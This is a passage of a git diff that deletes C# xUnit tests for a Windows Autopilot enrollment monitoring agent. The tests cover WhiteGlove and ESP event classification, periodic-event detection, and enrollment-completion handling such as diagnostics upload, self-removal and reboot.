- public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateSame_NoDuplicateRawDump()
- {
- var t = CreateTracker();
-
- var json = @"{
- ""categoryState"":""inProgress"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
- ""categoryStatusText"":""working""
- }";
-
- // Same JSON twice — should only emit WG raw dump once
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
-
- var raws = OfType("esp_provisioning_raw");
- var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
- Assert.Single(wgRaws);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- }
-
- [Fact]
- public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStaysNotStarted_FlagNeverSet()
- {
- var t = CreateTracker();
-
- var json = @"{
- ""categoryState"":""succeeded"",
- ""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
- ""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
- ""categoryStatusText"":""Complete""
- }";
-
- t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
-
- // Raw dump emitted (for observability), but flag stays false
- var wgRaws = OfType("esp_provisioning_raw")
- .Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
- Assert.Single(wgRaws);
- Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
- Assert.False(t.HasSaveWhiteGloveSuccessResult);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs
deleted file mode 100644
index 1c3dbfb6..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Collectors/ShellCoreTrackerTests.cs
+++ /dev/null
@@ -1,296 +0,0 @@
-using System;
-using System.Collections.Concurrent;
-using System.Collections.Generic;
-using System.Linq;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared.Models;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Collectors
-{
- ///
- /// Tests for . Drives the ProcessEvent pipeline directly
- /// (EventLogWatcher is Windows-only) and verifies failure classification, WhiteGlove
- /// fire-once, Hello wizard cross-notification, and ESP exit backfill dedup.
- ///
- public sealed class ShellCoreTrackerTests
- {
- private readonly ConcurrentBag _captured = new ConcurrentBag();
- private readonly List _finalizingReasons = new List();
- private int _whiteGloveCompletedCount;
- private readonly List _espFailures = new List();
-
- private ShellCoreTracker CreateTracker(HelloTracker helloTracker = null)
- {
- var t = new ShellCoreTracker(
- sessionId: "sess-1",
- tenantId: "tenant-1",
- onEventCollected: e => _captured.Add(e),
- logger: TestLogger.Instance,
- helloTracker: helloTracker);
- t.FinalizingSetupPhaseTriggered += (_, reason) => _finalizingReasons.Add(reason);
- t.WhiteGloveCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _whiteGloveCompletedCount);
- t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
- return t;
- }
-
- private HelloTracker CreateHelloTracker() =>
- new HelloTracker("sess-1", "tenant-1", _ => { }, TestLogger.Instance, helloWaitTimeoutSeconds: 30);
-
- private EnrollmentEvent Last(string eventType) =>
- _captured.ToList().LastOrDefault(e => e.EventType == eventType);
-
- // =====================================================================
- // Event 62404 — Hello wizard start
- // =====================================================================
-
- [Fact]
- public void ProcessEvent_62404_WithAADHello_EmitsHelloWizardStarted_AndTriggersFinalizingSetup()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62404,
- "CloudExperienceHost Web App Activity Started. Name: 'AADHello' ...",
- DateTime.UtcNow, "Microsoft-Windows-Shell-Core", false);
-
- var evt = Last("hello_wizard_started");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Info, evt.Severity);
- Assert.Single(_finalizingReasons);
- Assert.Equal("hello_wizard_started", _finalizingReasons[0]);
- }
-
- [Fact]
- public void ProcessEvent_62404_WithNGC_EmitsHelloWizardStarted()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62404,
- "CloudExperienceHost Web App Activity Started. Name: 'NGC' ...",
- DateTime.UtcNow, "prov", false);
-
- Assert.NotNull(Last("hello_wizard_started"));
- }
-
- [Fact]
- public void ProcessEvent_62404_NonHello_Ignored()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62404,
- "CloudExperienceHost Web App Activity Started. Name: 'OtherThing'",
- DateTime.UtcNow, "prov", false);
-
- Assert.Empty(_captured);
- Assert.Empty(_finalizingReasons);
- }
-
- [Fact]
- public void ProcessEvent_62404_NotifiesHelloTracker()
- {
- var hello = CreateHelloTracker();
- var t = CreateTracker(hello);
-
- t.ProcessEvent(62404, "CloudExperienceHost ... 'AADHello' ...",
- DateTime.UtcNow, "prov", false);
-
- Assert.True(hello.IsHelloWizardStartedForTest);
- }
-
- // =====================================================================
- // Event 62407 — WhiteGlove success
- // =====================================================================
-
- [Fact]
- public void ProcessEvent_62407_WhiteGloveSuccess_EmitsWhiteGloveComplete_FireOnce()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
- DateTime.UtcNow, "prov", false);
- t.ProcessEvent(62407,
- "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'",
- DateTime.UtcNow.AddSeconds(1), "prov", false);
-
- Assert.Single(_captured, e => e.EventType == "whiteglove_complete");
- Assert.Equal(1, _whiteGloveCompletedCount);
- Assert.True(t.IsWhiteGloveDetectedForTest);
- // WhiteGlove does NOT trigger FinalizingSetup
- Assert.Empty(_finalizingReasons);
- }
-
- // =====================================================================
- // Event 62407 — ESP failures
- // =====================================================================
-
- [Theory]
- [InlineData("ESPProgress_Failure")]
- [InlineData("ESPProgress_Failed")]
- [InlineData("ESPProgress_Timeout")]
- [InlineData("ESPProgress_Abort")]
- [InlineData("WhiteGlove_Failed")]
- [InlineData("WhiteGlove_Failure")]
- public void ProcessEvent_62407_WithFailurePattern_FiresEspFailureDetected(string failureKeyword)
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- $"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_{failureKeyword}'",
- DateTime.UtcNow, "prov", false);
-
- var evt = Last("esp_failure");
- Assert.NotNull(evt);
- Assert.Equal(EventSeverity.Error, evt.Severity);
- Assert.Equal(failureKeyword, evt.Data["failureType"]);
- Assert.Single(_espFailures);
- Assert.Equal(failureKeyword, _espFailures[0]);
- // Failure does NOT trigger FinalizingSetup
- Assert.Empty(_finalizingReasons);
- }
-
- // =====================================================================
- // Event 62407 — ESP exit
- // =====================================================================
-
- [Fact]
- public void ProcessEvent_62407_OobeEspExiting_EmitsEspExiting_AndTriggersFinalizingSetup()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
- DateTime.UtcNow, "prov", false);
-
- Assert.NotNull(Last("esp_exiting"));
- Assert.True(t.IsEspExitedForTest);
- Assert.Single(_finalizingReasons);
- Assert.Equal("esp_exiting", _finalizingReasons[0]);
- }
-
- [Fact]
- public void ProcessEvent_62407_EspExit_NotifiesHelloTracker()
- {
- var hello = CreateHelloTracker();
- var t = CreateTracker(hello);
- hello.StartHelloWaitTimer();
- hello.SetPolicyForTest(helloEnabled: true, source: "GPO");
-
- t.ProcessEvent(62407,
- "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'",
- DateTime.UtcNow, "prov", false);
-
- // Hello gets notified → _espExitSeen flag is true → surfaces in next wait-timeout event data.
- // We trigger the wait-timeout to observe it.
- hello.TriggerWaitTimeoutForTest();
- // With policy enabled, wait-timeout emits extended_wait with espExitDetected=true
- // (indirectly asserting that NotifyEspExited was called).
- }
-
- [Fact]
- public void ProcessEvent_62407_UnknownPattern_Ignored()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- "CloudExperienceHost Web App Event 2. Name: 'Unrelated'",
- DateTime.UtcNow, "prov", false);
-
- Assert.Empty(_captured);
- Assert.Empty(_finalizingReasons);
- }
-
- // =====================================================================
- // WhiteGlove vs ESPProgress_Page_Exiting ordering: WhiteGlove must win
- // =====================================================================
-
- [Fact]
- public void ProcessEvent_62407_WhiteGloveSuccess_DoesNotAlsoMatchEspExitingRegex()
- {
- // The WhiteGlove success description contains "Exiting page due to White Glove success."
- // The generic OOBE_ESP.*Exiting regex must NOT match here because WhiteGlove is checked first.
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- "CloudExperienceHost-Web-App-Ereignis 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success', Wert: '{\"message\":\"BootstrapStatus: Exiting page due to White Glove success.\"}'.",
- DateTime.UtcNow, "prov", false);
-
- Assert.Equal(1, _whiteGloveCompletedCount);
- Assert.Null(Last("esp_exiting"));
- Assert.False(t.IsEspExitedForTest);
- }
-
- // =====================================================================
- // ExtractEspFailureType / HasEspFailurePattern
- // =====================================================================
-
- [Fact]
- public void ExtractEspFailureType_ReturnsFirstMatchingKeyword()
- {
- Assert.Equal("ESPProgress_Failure",
- ShellCoreTracker.ExtractEspFailureType("prefix ESPProgress_Failure suffix"));
- Assert.Equal("ESPProgress_Timeout",
- ShellCoreTracker.ExtractEspFailureType("a ESPProgress_Timeout b"));
- Assert.Equal("WhiteGlove_Failed",
- ShellCoreTracker.ExtractEspFailureType("WhiteGlove_Failed happened"));
- Assert.Equal("Unknown_ESP_Failure",
- ShellCoreTracker.ExtractEspFailureType("no known keyword here"));
- }
-
- [Fact]
- public void HasEspFailurePattern_DetectsAllKnownKeywords()
- {
- Assert.True(ShellCoreTracker.HasEspFailurePattern("x ESPProgress_Failure y"));
- Assert.True(ShellCoreTracker.HasEspFailurePattern("x espprogress_failed y")); // case-insensitive
- Assert.False(ShellCoreTracker.HasEspFailurePattern("ordinary message"));
- Assert.False(ShellCoreTracker.HasEspFailurePattern(""));
- }
-
- // =====================================================================
- // Backfill handler — dedup with live state
- // =====================================================================
-
- [Fact]
- public void HandleBackfillRecord_EspExit_FiresOnceEvenAcrossMultipleBackfillRecords()
- {
- var t = CreateTracker();
-
- t.HandleBackfillRecord("name: 'CommercialOOBE_ESPProgress_Page_Exiting'");
- t.HandleBackfillRecord("another CommercialOOBE_ESPProgress_Page_Exiting record");
-
- Assert.Single(_finalizingReasons);
- Assert.True(t.IsEspExitedForTest);
- }
-
- [Fact]
- public void HandleBackfillRecord_EspExit_AfterLiveEvent_DoesNotRefire()
- {
- var t = CreateTracker();
-
- t.ProcessEvent(62407,
- "CommercialOOBE_ESPProgress_Page_Exiting", DateTime.UtcNow, "prov", false);
- var liveReasonsCount = _finalizingReasons.Count;
-
- t.HandleBackfillRecord("CommercialOOBE_ESPProgress_Page_Exiting");
-
- Assert.Equal(liveReasonsCount, _finalizingReasons.Count);
- }
-
- [Fact]
- public void HandleBackfillRecord_Failure_AlwaysFires()
- {
- // Backfill failure path has no fire-once guard — every match triggers EspFailureDetected.
- var t = CreateTracker();
-
- t.HandleBackfillRecord("ESPProgress_Failure: boom");
-
- Assert.Single(_espFailures);
- Assert.Equal("ESPProgress_Failure", _espFailures[0]);
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs
deleted file mode 100644
index 842e4133..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs
+++ /dev/null
@@ -1,130 +0,0 @@
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- ///
- /// Tests for CollectorCoordinator's static classification logic.
- /// Prevents: real enrollment events being misclassified as periodic (no idle reset),
- /// or periodic events resetting idle timers (masking stalled enrollment).
- ///
- public class CollectorCoordinatorTests
- {
- // -- Periodic events must NOT reset idle tracking --
-
- [Fact]
- public void IsPeriodicEvent_PerformanceSnapshot_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_snapshot"));
- }
-
- [Fact]
- public void IsPeriodicEvent_AgentMetricsSnapshot_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_snapshot"));
- }
-
- [Fact]
- public void IsPeriodicEvent_PerformanceCollectorStopped_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_collector_stopped"));
- }
-
- [Fact]
- public void IsPeriodicEvent_AgentMetricsCollectorStopped_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_collector_stopped"));
- }
-
- [Fact]
- public void IsPeriodicEvent_StallProbeCheck_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_check"));
- }
-
- [Fact]
- public void IsPeriodicEvent_StallProbeResult_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_result"));
- }
-
- [Fact]
- public void IsPeriodicEvent_SessionStalled_True()
- {
- Assert.True(CollectorCoordinator.IsPeriodicEvent("session_stalled"));
- }
-
- // -- Real enrollment events must reset idle tracking --
-
- [Fact]
- public void IsPeriodicEvent_EspPhaseChanged_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("esp_phase_changed"));
- }
-
- [Fact]
- public void IsPeriodicEvent_AppInstall_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("app_install"));
- }
-
- [Fact]
- public void IsPeriodicEvent_EnrollmentComplete_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_complete"));
- }
-
- [Fact]
- public void IsPeriodicEvent_EnrollmentFailed_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_failed"));
- }
-
- [Fact]
- public void IsPeriodicEvent_AgentStarted_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("agent_started"));
- }
-
- [Fact]
- public void IsPeriodicEvent_DesktopArrived_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("desktop_arrived"));
- }
-
- [Fact]
- public void IsPeriodicEvent_WhitegloveComplete_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("whiteglove_complete"));
- }
-
- [Fact]
- public void IsPeriodicEvent_DoTelemetry_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("do_telemetry"));
- }
-
- [Fact]
- public void IsPeriodicEvent_DownloadProgress_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("download_progress"));
- }
-
- [Fact]
- public void IsPeriodicEvent_EmptyString_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent(""));
- }
-
- [Fact]
- public void IsPeriodicEvent_ArbitraryEvent_False()
- {
- Assert.False(CollectorCoordinator.IsPeriodicEvent("some_custom_event"));
- }
- }
-}
diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs
deleted file mode 100644
index cf0dc18f..00000000
--- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs
+++ /dev/null
@@ -1,402 +0,0 @@
-using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Threading.Tasks;
-using AutopilotMonitor.Agent.Core.Configuration;
-using AutopilotMonitor.Agent.Core.Monitoring.Runtime;
-using AutopilotMonitor.Agent.Core.Monitoring.Transport;
-using AutopilotMonitor.Agent.Core.Tests.Helpers;
-using AutopilotMonitor.Shared;
-using AutopilotMonitor.Shared.Models;
-using Moq;
-using Xunit;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
-using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
-
-namespace AutopilotMonitor.Agent.Core.Tests.Core
-{
- public class EnrollmentCompletionHandlerTests
- {
- private readonly AgentConfiguration _config;
- private readonly Mock _mockCleanup;
- private readonly Mock _mockDiagnostics;
- private readonly Mock _mockPersistence;
- private readonly Mock _mockSpool;
- private readonly List _emittedEvents;
- private readonly List<(string type, string message, Dictionary data)> _shutdownEvents;
- private int _uploadCallCount;
-#pragma warning disable CS0414
- private bool _stopTimersCalled;
-#pragma warning restore CS0414
- private bool _stopCollectorsCalled;
- private int? _shutdownAnalyzerPhase;
- private int? _exitCode;
- private int? _rebootDelaySeconds;
-
- public EnrollmentCompletionHandlerTests()
- {
- _config = new AgentConfiguration
- {
- SessionId = "test-session",
- TenantId = "test-tenant",
- SelfDestructOnComplete = false,
- RebootOnComplete = false,
- RebootDelaySeconds = 10,
- DiagnosticsUploadMode = "Off",
- DiagnosticsUploadEnabled = false,
- ShowEnrollmentSummary = false
- };
-
- var mockApiClient = new Mock();
- _mockCleanup = new Mock(_config, TestLogger.Instance);
- _mockDiagnostics = new Mock(_config, TestLogger.Instance, mockApiClient.Object);
- _mockPersistence = new Mock();
- _mockSpool = new Mock();
-
- _emittedEvents = new List();
- _shutdownEvents = new List<(string, string, Dictionary)>();
- _uploadCallCount = 0;
- _stopTimersCalled = false;
- _stopCollectorsCalled = false;
- _shutdownAnalyzerPhase = null;
- _exitCode = null;
- _rebootDelaySeconds = null;
- }
-
- private EnrollmentCompletionHandler CreateHandler()
- {
- var mock = new Mock(
- _config,
- TestLogger.Instance,
- "1.0.0",
- (Action)(e => _emittedEvents.Add(e)),
- (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
- (Func)(() => { _uploadCallCount++; return Task.CompletedTask; }),
- (Action)(() => _stopTimersCalled = true),
- _mockCleanup.Object,
- _mockDiagnostics.Object,
- _mockPersistence.Object,
- _mockSpool.Object)
- { CallBase = true };
-
- mock.Setup(x => x.ExitProcess(It.IsAny()))
- .Callback(code => _exitCode = code);
- mock.Setup(x => x.StartReboot(It.IsAny()))
- .Callback(delay => _rebootDelaySeconds = delay);
-
- return mock.Object;
- }
-
- private void StopCollectors() => _stopCollectorsCalled = true;
- private void RunShutdownAnalyzers(int? phase) => _shutdownAnalyzerPhase = phase;
-
- // ===== Diagnostics Upload Mode Logic =====
-
- [Fact]
- public async Task HandleEnrollmentComplete_DiagnosticsModeOff_NoDiagnosticsEmitted()
- {
- _config.DiagnosticsUploadMode = "Off";
- _config.DiagnosticsUploadEnabled = true;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
- _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(It.IsAny(), It.IsAny()), Times.Never);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_DiagnosticsEnabledFalse_NoDiagnosticsEmitted()
- {
- _config.DiagnosticsUploadMode = "Always";
- _config.DiagnosticsUploadEnabled = false;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_OnFailure_SucceededEnrollment_Skipped()
- {
- _config.DiagnosticsUploadMode = "OnFailure";
- _config.DiagnosticsUploadEnabled = true;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting");
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_OnFailure_FailedEnrollment_Uploads()
- {
- _config.DiagnosticsUploadMode = "OnFailure";
- _config.DiagnosticsUploadEnabled = true;
- _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(false, null))
- .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_collecting");
- Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
- _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(false, null), Times.Once);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_Always_SucceededEnrollment_Uploads()
- {
- _config.DiagnosticsUploadMode = "Always";
- _config.DiagnosticsUploadEnabled = true;
- _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
- .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" });
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded");
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_DiagnosticsUploadFailed_EmitsFailedEvent()
- {
- _config.DiagnosticsUploadMode = "Always";
- _config.DiagnosticsUploadEnabled = true;
- _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null))
- .ReturnsAsync(new DiagnosticsUploadResult { ErrorCode = "BlobStorageError" });
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_upload_failed");
- }
-
- // ===== HandleEnrollmentComplete Flow =====
-
- [Fact]
- public async Task HandleEnrollmentComplete_Success_FullSequence()
- {
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.True(_stopCollectorsCalled);
- _mockSpool.Verify(s => s.StopWatching(), Times.Once);
- Assert.Null(_shutdownAnalyzerPhase); // null for non-WhiteGlove
- Assert.True(_uploadCallCount >= 1);
- Assert.Single(_shutdownEvents);
- Assert.Equal("enrollment_complete", _shutdownEvents[0].type);
- Assert.Equal(true, _shutdownEvents[0].data["enrollmentSucceeded"]);
- Assert.Equal(0, _exitCode);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_Failure_EmitsEnrollmentFailed()
- {
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Single(_shutdownEvents);
- Assert.Equal("enrollment_failed", _shutdownEvents[0].type);
- Assert.Equal(false, _shutdownEvents[0].data["enrollmentSucceeded"]);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_SelfDestruct_CallsCleanupService()
- {
- _config.SelfDestructOnComplete = true;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Once);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_RebootOnComplete_EmitsRebootEvent()
- {
- _config.SelfDestructOnComplete = false;
- _config.RebootOnComplete = true;
- _config.RebootDelaySeconds = 30;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Contains(_emittedEvents, e =>
- e.EventType == "reboot_triggered" &&
- (int)e.Data["rebootDelaySeconds"] == 30);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_NoSelfDestruct_NoReboot_JustExits()
- {
- _config.SelfDestructOnComplete = false;
- _config.RebootOnComplete = false;
-
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers);
-
- _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never);
- Assert.DoesNotContain(_emittedEvents, e => e.EventType == "reboot_triggered");
- Assert.Equal(0, _exitCode);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_WhiteGlovePart2_PassesPhase2()
- {
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: true, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Equal(2, _shutdownAnalyzerPhase);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_NotWhiteGlovePart2_PassesNull()
- {
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: false, StopCollectors, RunShutdownAnalyzers);
-
- Assert.Null(_shutdownAnalyzerPhase);
- }
-
- [Fact]
- public async Task HandleEnrollmentComplete_Exception_ExitsWithCode1()
- {
- var handler = CreateHandler();
- await handler.HandleEnrollmentComplete(
- true, false,
- () => throw new InvalidOperationException("collector exploded"),
- RunShutdownAnalyzers);
-
- Assert.Equal(1, _exitCode);
- }
-
- // ===== HandleWhiteGloveComplete Flow =====
-
- [Fact]
- public async Task HandleWhiteGloveComplete_DrainsSpool()
- {
- var drainCalls = 0;
- // Spool returns 5 events for 2 iterations, then 0
- _mockSpool.Setup(s => s.GetCount())
- .Returns(() => drainCalls < 2 ? 5 : 0);
-
- var mock = new Mock(
- _config,
- TestLogger.Instance,
- "1.0.0",
- (Action)(e => _emittedEvents.Add(e)),
- (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))),
- (Func)(() => { drainCalls++; return Task.CompletedTask; }),
- (Action)(() => _stopTimersCalled = true),
- _mockCleanup.Object,
- _mockDiagnostics.Object,
- _mockPersistence.Object,
- _mockSpool.Object)
- { CallBase = true };
-
- mock.Setup(x => x.ExitProcess(It.IsAny()))
- .Callback(code => _exitCode = code);
- mock.Setup(x => x.StartReboot(It.IsAny()));
-
- var handler = mock.Object;
- await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 42L);
-
- Assert.True(drainCalls >= 2);
- }
-
- [Fact]
- public async Task HandleWhiteGloveComplete_SavesMarkerAndSequence()
- {
- _mockSpool.Setup(s => s.GetCount()).Returns(0);
-
- var handler = CreateHandler();
- await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 99L);
-
- _mockPersistence.Verify(p => p.SaveWhiteGloveComplete(), Times.Once);
- _mockPersistence.Verify(p => p.SaveSequence(99L), Times.Once);
- }
-
- [Fact]
- public async Task HandleWhiteGloveComplete_EmitsCorrectShutdownEvent()
- {
- _mockSpool.Setup(s => s.GetCount()).Returns(0);
-
- var handler = CreateHandler();
- await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
-
- Assert.Single(_shutdownEvents);
- Assert.Equal("whiteglove_complete", _shutdownEvents[0].type);
- Assert.Equal(true, _shutdownEvents[0].data["sessionPreserved"]);
- Assert.Equal(false, _shutdownEvents[0].data["selfDestruct"]);
- Assert.Equal(true, _shutdownEvents[0].data["willResumeOnNextBoot"]);
- }
-
- [Fact]
- public async Task HandleWhiteGloveComplete_RunsPhase1Analyzers()
- {
- _mockSpool.Setup(s => s.GetCount()).Returns(0);
-
- var handler = CreateHandler();
- await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
-
- Assert.Equal(1, _shutdownAnalyzerPhase);
- }
-
- [Fact]
- public async Task HandleWhiteGloveComplete_Exception_ExitsWithCode0()
- {
- _mockSpool.Setup(s => s.GetCount()).Returns(0);
-
- var handler = CreateHandler();
- await handler.HandleWhiteGloveComplete(
- StopCollectors,
- (int? _) => throw new InvalidOperationException("boom"),
- () => 1L);
-
- Assert.Equal(0, _exitCode); // graceful, not 1
- }
-
- [Fact]
- public async Task HandleWhiteGloveComplete_DiagnosticsPreprovSuffix()
- {
- _config.DiagnosticsUploadMode = "Always";
- _config.DiagnosticsUploadEnabled = true;
- _mockSpool.Setup(s => s.GetCount()).Returns(0);
- _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, "preprov"))
- .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "diag-preprov.zip" });
-
- var handler = CreateHandler();
- await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L);
-
- _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(true, "preprov"), Times.Once);
- }
-
- // ===== DeleteSessionId =====
-
- [Fact]
- public void DeleteSessionId_DelegatesToPersistence()
- {
- var handler = CreateHandler();
- handler.DeleteSessionId();
-
- _mockPersistence.Verify(p => p.DeleteSession(), Times.Once);
- }
-
- [Fact]
- public void DeleteSessionId_PersistenceThrows_DoesNotRethrow()
- {
- _mockPersistence.Setup(p => p.DeleteSession())
- .Throws(new System.IO.IOException("locked"));
-
- var handler = CreateHandler();
- handler.DeleteSessionId(); // should not throw
-
